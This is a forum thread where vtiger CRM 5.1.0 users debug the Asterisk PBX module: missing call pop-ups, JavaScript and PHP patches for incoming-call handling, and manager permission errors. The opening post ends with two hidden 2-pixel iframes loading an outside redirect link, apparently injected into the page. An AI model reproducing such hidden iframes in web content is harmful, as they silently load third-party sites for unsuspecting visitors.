Asterisk module problem Vtiger 5.1.0

Hi

I am having a few problems with the Asterisk module.

Followed the steps for activation.

got the link on phone numbers but no pop-up appears on either incoming or outgoing calls

Any ideas how to debug this

Jason <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«13456715

Comments

  • 144 Comments sorted by Votes Date Added
  • same error to me. no popups. but the asterisk callme and close the conection without any answer.
  • one more to the list

    i believe i have everything running, i can see the list of calls on the pbx module, but the popup's don't open

    what kind of setup was tested to have this working?

    windows, linux, mac ??

    i'm currently running everything on a mabbook pro with asterisk (elastix) running on vmware and vtiger running trough mamp pro
    i've also managed to put the cronjob running after installing wget on the mac

    i've tested accessing the vtiger trough a pc running windows xp (ie 7) and i was getting javascript errors on ie7.

    any help would be great
  • hi,

    thank you all for taking the effort to test things out and reporting the issues. we are looking into this issue and will provide you with a fix asap.

    thanks again for sharing your feedback.

    regards
    pinaki
    vtiger team
  • any news about this issue?
  • could anyone tell me if they have got this fixed
  • ok!!!!

    after refamiliarizing myself with javascript, etc... i found this one little code snippet get's this at least the incoming calls to work...

    there are two sections here. the first section is the simple explanation and solution and the second section includes a more advanced explanation for coders:

    1. there is a file which contains the functionality that is supposed show the popup has errors in it. find the attached file and replace out your asterisk.js file with it.

    2. for some reason the code that is contained within the notificationpopup.js
    popupdiv.innerhtml = node;
    does not actually insert the html which populates the division with the data needed to pull up the lead/potential/contact
    the updated asterisk.js file handles this issue with a temporary work around by feeding the data into the correct variable and using an alternative method to show the div
  • for some reason the attachments are not working.
    add this code in the appropriate place in asterisk.js

    if you search your vtiger directory for pop_vtiger.display, you will find the appropriate file to update. the code below should be updated.

    find the code below popup_vtiger.displaypopup(popup_vtiger.content,asterisk_incoming_div_timeout);
    add the lines just below this:

    var node = document.getelementbyid('notificationdiv')
    node.innerhtml = div;
  • i'm also wondering about this.

    i'm running vtiger 5.1.0 and asterisk 1.6.0.6 on a linux (ubuntu) server.

    when i run the pbx manager cron job, it successfully connects to the asterisk manager interface and shows me a continuous stream from asterisk of events and various details.

    however, there are 3 problems

    1. vtiger doesn't catch incoming calls. i don't know if it is the cron pbxmanager script that is supposed to catch the incoming calls or what, but no records get added to the vtiger database when an incoming call comes in. i looked at the asteriskclient.php and looked for the part about incoming calls and noticed
    if&#40;&#40;$response&#91;'event'&#93; == 'newstate' || $response&#91;'event'&#93; == 'newchannel'&#41; &amp;&amp; $response&#91;'state'&#93; == 'ring'&#41;
    

    after looking at the output of the asteriskclient.php script, i realized it needed to be changed to:
    if&#40;&#40;$response&#91;'event'&#93; == 'newstate' || $response&#91;'event'&#93; == 'newchannel'&#41; &amp;&amp; $response&#91;'channelstatedesc'&#93; == 'ring'&#41;
    

    i'm assuming this has something to do with my asterisk version (i'm using 1.6.0.6). i also changed the following line:
    if&#40;&#40;$response&#91;'event'&#93; == 'newexten'&#41; &amp;&amp; strstr&#40;$response&#91;'appdata'&#93;,&quot;__dialed_number&quot;&#41;&#41;&#123;
    

    to
    if&#40;$response&#91;'event'&#93; == 'dial'&#41;&#123;
    

    because looking for events called newexten, there is no appdata. it seems the event we are looking for can be satisfied by looking for the event called dial.

    i also had to add the following into the above if statement.
    $extension = $response&#91;'dialstring'&#93;;
    

    here is my whole handleincomingcalls function:
    function handleincomingcalls&#40;$asterisk, $adb&#41;&#123;
      $response = $asterisk-&gt;getasteriskresponse&#40;&#41;;
      $callernumber = &quot;unknown&quot;;
      $callername = &quot;unknown&quot;;
    
      //event can be both newstate and newchannel &#58;&#58; this is an asterisk bug and can be found at
      //
    
      if&#40;&#40;$response&#91;'event'&#93; == 'newstate' || $response&#91;'event'&#93; == 'newchannel'&#41; &amp;&amp; $response&#91;'channelstatedesc'&#93; == 'ring'&#41;&#123;
        //get the caller information
        if&#40;!empty&#40;$response&#91;'callerid'&#93;&#41;&#41;&#123;
          $callernumber = $response&#91;'callerid'&#93;;
        &#125;elseif&#40;!empty&#40;$response&#91;'calleridnum'&#93;&#41;&#41;&#123;
          $callernumber = $response&#91;'calleridnum'&#93;;
        &#125;
        if&#40;!empty&#40;$response&#91;'calleridname'&#93;&#41;&#41;&#123;
          if&#40;$response&#91;'calleridname'&#93; == 'unknown'&#41;&#123;
            $callername = $callernumber;
          &#125;else&#123;
            $callername = $response&#91;'calleridname'&#93;;
          &#125;
        &#125;else&#123;
          $callername = $response&#91;'calleridnum'&#93;;
        &#125;
        while&#40;true&#41;&#123;
          $response = $asterisk-&gt;getasteriskresponse&#40;&#41;;
          //if&#40;&#40;$response&#91;'event'&#93; == 'newexten'&#41; &amp;&amp; strstr&#40;$response&#91;'appdata'&#93;,&quot;__dialed_number&quot;&#41;&#41;&#123;
          if&#40;$response&#91;'event'&#93; == 'dial'&#41;&#123;
            $temp = array&#40;&#41;;
            //if&#40;strstr&#40;$response&#91;'channel'&#93;, $callernumber&#41;&#41;&#123;
              $temp = explode&#40;&quot;/&quot;,$response&#91;'channel'&#93;&#41;;
              $callertype = $temp&#91;0&#93;;
            //&#125;
            //$temp = explode&#40;&quot;=&quot;,$response&#91;'appdata'&#93;&#41;;
            //$extension = $temp&#91;1&#93;;
            $extension = $response&#91;'dialstring'&#93;;
    
            //echo &quot;callerid&#58; $callernumber\ncallername&#58; $callername\nextension&#58; $extension\ncallertype&#58; $callertype\n&quot;;
    
            if&#40;checkextension&#40;$extension, $adb&#41;&#41;&#123;
              //insert into database
              $sql = &quot;insert into vtiger_asteriskincomingcalls values &#40;?,?,?,?&#41;&quot;;
              $params = array&#40;$callernumber, $callername, $extension, $callertype&#41;;
              $adb-&gt;pquery&#40;$sql, $params&#41;;
              addtocallhistory&#40;$extension, $callernumber, $extension, &quot;incoming&quot;, $adb&#41;;
            &#125;
          &#125;elseif&#40;$response&#91;'event'&#93; == 'hangup'&#41;&#123;
            return true;
          &#125;
        &#125;
      &#125;else&#123;
        return false;
      &#125;
    &#125;
    
    


    2. when i click on a contact number after having logged in with a properly configured user (ie with asterisk extension configured), nothing happens. going back to look at the pbxmanager cron script, i see

    response: error
    message: permission denied

    for each time i try to click to call.

    3. the pbxmanager cron script bumps my cpu usage up to 100%.

    i'm really excited about this integration! keep up the good work!
  • try checking to ensure that you have setup your permissions as apart of the pbxmanager configuration as well as have those same settings contained in your manager.conf file.
  • my pbxmanager configuration is:

    asterisk configuration
    asterisk server ip localhost
    asterisk server port 5038
    asterisk username vtiger
    asterisk password password

    and in my manager.conf i've got:

    [vtiger]
    secret = password
    deny=0.0.0.0/0.0.0.0
    permit=192.168.0.0/255.255.0.0
    permit=127.0.0.1/255.255.255.0
    read = system,call,log,verbose,command,agent,user
    write = system,call,log,verbose,command,agent,user

    i can successfully use asteriskclient.php to connect to the asterisk server, its just when i want to click on a phone number to dial, it gives me the permission denied message. i can't seem to track down what program is saying permission denied. i suppose its asterisk, but i don't know what exactly is being denied.
Sign In or Register to comment.